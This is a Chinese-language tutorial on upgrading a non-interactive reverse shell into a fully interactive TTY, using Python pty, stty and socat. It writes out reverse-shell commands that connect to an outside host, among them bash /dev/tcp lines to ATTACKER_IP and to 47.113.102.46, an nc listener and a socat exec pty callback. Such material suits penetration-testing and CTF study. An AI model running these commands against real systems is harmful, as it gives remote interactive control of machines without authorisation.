反弹shell升级为完全交互式shell
反弹shell升级为完全交互式shell
Sherlock前言
当Webshell
反弹到服务器上时经常都是非交互式的,具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了,比如需要使用vim
时显示一堆的控制符,在Ctrl+C
时却退出了Shell
反弹 shell 一般是非交互式的,主要原因和反弹 shell 的工作方式、网络环境以及终端类型有关。
- 终端类型问题
- 反弹 shell 通常是通过
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
、nc
、perl
等方式建立的 TCP 连接。 - 这种 TCP 连接并不是一个 TTY/PTY(终端设备),而只是一个裸的网络数据流。
- 由于没有绑定到伪终端(pseudo-terminal),shell 无法识别终端的特性(例如光标移动、命令补全、
vim
、top
这些需要交互控制的程序),所以它表现为非交互式。
- 环境变量缺失
- 正常登录的交互式 shell 会设置一系列环境变量(如
TERM
、SHELL
、PS1
等),并执行/etc/profile
、~/.bashrc
这种初始化文件。 - 反弹 shell 启动时通常跳过这些初始化步骤,导致功能受限,看起来“傻傻的”。
- 权限和安全限制
- 目标机的某些安全配置(如
nohup
、restricted shell
)可能会让反弹 shell 运行在非交互模式,减少攻击者获取完整控制的可能性。 - 特别是在受限的 CTF 环境、容器、chroot 里,shell 默认就不给你分配 TTY。
- TCP 连接本质
- 在你用反弹 shell 时,本质上是一个程序的标准输入输出直接绑到 TCP socket 上。
- 这跟你直接
ssh
或本地打开终端不同,没有额外的 终端控制通道,所以没有命令历史、光标控制等高级交互。
升级为完全式shell
python
前提是目标主机上面有python
1、查看监听服务器终端和STTY
信息
1 | root@i-wz982ibu6zo1y9jvywxi:~# echo $TERM |
这里我们的终端信息为xterm
,stty的行数(rows)为33,列数(columns)为124
2、在监听服务器开启监听
1 | root@i-wz982ibu6zo1y9jvywxi:~# nc -lvvp 2333 |
3、在目标机器执行反弹shell命令
1 | bash -i >& /dev/tcp/47.113.102.46/2333 0>&1 |
4、启用python交互式
1 | ┌──(sherlock㉿LAPTOP-D6OB0LH7)-[~] |
5、按下Ctrl+Z
,后台挂起
6、刷新终端
1 | root@i-wz982ibu6zo1y9jvywxi:~# stty raw -echo |
可能这时候就会有如下的提示询问终端类型,此时就可以直接输入终端信息然后回车
1 | reset: unknown terminal type unknown |
若无提示需要设置
1 | ┌──(sherlock㉿LAPTOP-D6OB0LH7)-[/tmp/frp_0.58.1_linux_amd64] |
根据自己的终端信息设置如下参数
1 | export SHELL=bash |
socat
socat的可执行文件可以从https://github.com/3ndG4me/socat/releases下载
1、在监听服务器开启监听
1 | $ socat file:`tty`,raw,echo=0 tcp-listen:7777 |
这里的7777
为监听的端口
2、把socat可执行文件上传到目标机器上
给socat执行文件赋权限:chmod 777 ./socatx64.bin
然后执行:
1 | user@414e07ee65d84196:~$ ./socatx64.bin exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:47.113.102.46:7777 |
其中47.113.102.46:7777
为监听服务器的IP和端口